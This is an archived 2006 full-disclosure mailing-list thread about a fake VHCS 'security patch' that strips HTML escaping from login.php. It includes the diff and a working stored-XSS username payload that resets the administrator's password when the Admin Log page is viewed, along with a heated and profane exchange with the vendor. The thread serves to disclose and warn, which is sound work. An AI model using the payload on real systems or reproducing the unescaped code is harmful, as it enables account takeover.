Date: Tue Feb  7 16:31:55 2006
From: roman at rs-labs.com (Roman Medina-Heigl Hernandez)
Subject: Re: VHCS Security Patch - 2006-02-05 --> Fake!

Hi,

Let's summary:
1.- You (as VHCS "vendor") publish a patch that when installed opens a
big security hole (as demonstrated in my former analysis).
2.- You didn't notify security mailing-lists (as a responsible vendor
would do if a new security bug has been identified and fixed, which is
what you are claiming).
3.- Someone (me), publicly reports it (with cc to you) (I already argued
why I decided to go public; read my former mail).
4.- You answer saying it has now been fixed but you didn't publish any
reference or info in the VHCS page.
5.- So a VHCS customer who downloaded the wrong patch (and does not
consult security mls/sites) won't notice any change in your original
announce and will be vulnerable indeed. You are not correctly informing
your users.
6.- I publicly ask you for a clarification about the real bug which was
supposed to have been fixed and you didn't answer. Anything to hide?
7.- I didn't get any response but an offending mail accusing me of
elevating alarm level at securitywizardry... Pathetic.

Sorry, but I don't believe in security through obscurity. Insulting
people reporting problems is not the solution. Acknowledging your own
errors and clarifying the situation is. VHCS users deserve an official
explanation. Is / isn't 2.4.7.1 really vulnerable to a new bug?

PS: I'm posting this to full-disclosure, as an example of how a vendor
response to a security issue should never be.

Cheers,
-Rom?n (aka the "stupid asshole" :-))


Alexander Kotov [moleSoftware] wrote:
> If you want to go public in the furute fiest conatact someone of the dev
> team
> Wait at least 1 day and then go public ...  stupid asshole
> 
> here the results of your activiy
> http://securitywizardry.com/alertstate.htm#alerts
> 
> Fuck you
> Alex
> 
> 
> Roman Medina-Heigl Hernandez wrote:
> 
>> Hi Alex,
>>
>> My apologies if I've been a bit rough, but public security mailing-lists
>> are intended to deal with (un)security issues. I don't understand why
>> you didn't announce in mls the issue if a new vuln was being fixed. It
>> seemed some kind of joke or hack, since I missed the "die()" function
>> and I only saw security fixes being removed, so it was suspicious. I
>> decided to go public because people could be downloading wrong patch.
>>
>> I didn't have time to analyze the effects of die() line there. I suppose
>> that's the real fix, isn't it? Could you elaborate on that? What's the
>> real vuln being fixed?
>>
>> Sorry for the inconvenience. No offense was intended.
>>
>> Cheers,
>> -Roman
>>
>>
>> Alexander Kotov [moleSoftware] wrote:
>>  
>>
>>> Hi Roman,
>>>
>>> uffff ... I'm human being and make mistakes. I just got older version of
>>> the file.
>>> Now I rebuilded the tarball and the problem is fixed.
>>>
>>> I think it is not necessary to post such kind of messages in public
>>> mailinglists
>>> before you contact someone of the development team and wait at least
>>> some hours.
>>>
>>> cheers
>>> Alex
>>>
>>>
>>> Roman Medina-Heigl Hernandez wrote:
>>>
>>>   
>>>
>>>> Hi,
>>>>
>>>> I've just visited VHCS main page and noticed the following "security
>>>> patch":
>>>>
>>>> http://vhcs.net/new/modules/news/article.php?storyid=23
>>>>
>>>> It reads:
>>>>
>>>> "This patch is for all VHCS versions.
>>>> You have to update only one GUI file - /vhcs2/gui/include/login.php
>>>>
>>>> Just replace the file
>>>> "
>>>>
>>>> Well, just do NOT apply it!!!! It's a fake! Indeed it will leave your
>>>> VHCS installation vulnerable to a high severity cross-site-scripting
>>>> issue!
>>>>
>>>> See it:
>>>> login_orig_unix.php --> original 2.4.7.1 login.php (converted to Unix)
>>>> login_new_unix.php  --> login.php from "security patch"
>>>>
>>>> roman@...labs:~$ diff login_orig_unix.php login_new_unix.php
>>>> 38c38
>>>> <               write_log("Login error,
>>>> <b><i>".htmlspecialchars($uname,
>>>> ENT_QUOTES, "UTF-8")."</i></b> unknown username");
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>>             write_log("Login error, <b><i>".$uname."</i></b> unknown
>>>>>  
>>>>>       
>>>>
>>>> username");
>>>> 75c75
>>>> <
>>>> write_log( htmlspecialchars($uname, ENT_QUOTES, "UTF-8")." Domain
>>>> status
>>>> is not OK - user can not login");
>>>> ---
>>>>
>>>>
>>>> write_log( $uname." Domain status is not OK - user can not login");
>>>> 104c104
>>>> <                       write_log( htmlspecialchars($uname, ENT_QUOTES,
>>>> "UTF-8")." user logged in.");
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>>                     write_log( $uname." user logged in.");
>>>>>  
>>>>>       
>>>>
>>>> 112c112
>>>> <               write_log( htmlspecialchars($uname, ENT_QUOTES,
>>>> "UTF-8")." bad password login data.");
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>>             write_log( $uname." bad password login data.");
>>>>>  
>>>>>       
>>>>
>>>> 190c190
>>>> <                       write_log(htmlspecialchars($uname, ENT_QUOTES,
>>>> "UTF-8")." user session timed out");
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>>                     write_log($uname." user session timed out");
>>>>>  
>>>>>       
>>>>
>>>> 199c199
>>>> <               write_log(htmlspecialchars($uname, ENT_QUOTES,
>>>> "UTF-8")." bad session data.");
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>>             write_log($uname." bad session data.");
>>>>>  
>>>>>       
>>>>
>>>> 258a259
>>>>
>>>>
>>>>     
>>>>
>>>>>     die();
>>>>>  
>>>>>       
>>>>
>>>> 261a263
>>>>
>>>>
>>>>     
>>>>
>>>>> }
>>>>>  
>>>>>       
>>>>
>>>> 437c439
>>>> < }
>>>> ---
>>>>
>>>>
>>>>     
>>>>
>>>>> //}
>>>>>  
>>>>>       
>>>>
>>>> roman@...labs:~$
>>>>
>>>>
>>>> As you can see, the "patch" removes htmlspecialchars() calls letting
>>>> login.php vulnerable . Nasty...
>>>>
>>>> If you apply the "patch" (or have an old VHCS install, for instance
>>>> version <= 2.4.6.2), the XSS bug is active. Just for fun, you can
>>>> exploit it by entering the following as "username" (in the login entry
>>>> page):
>>>>
>>>> </form><form name="dsr" method="post"
>>>> action="ch%61nge_password.php"><input
>>>> name="pass" value="hackme"><input name="pass_rep" value="hackme"><input
>>>> name="uaction"
>>>> value="updt_pass"></form><script>document.dsr.submit()</script>
>>>>
>>>> When the VHCS admin enters the "Admin Log" page (in VHCS menu)... his
>>>> password will be set up to "hackme" :-) The %61 trick is necessary to
>>>> bypass some string substitution. This exploit combines the XSS bug with
>>>> what I see as a poor security design bug, which is letting change
>>>> password without supplying the old one (Alex, please, fix it in next
>>>> release!).
>>>>
>>>> Summarizing, my recommendation: use VHCS 2.4.7.1, don't apply patch.
>>>>
>>>>
>>>>
>>>>     
>>>
>>>   
>>
>>
>>  
>>
> 
> 

Powered by blists - more mailing lists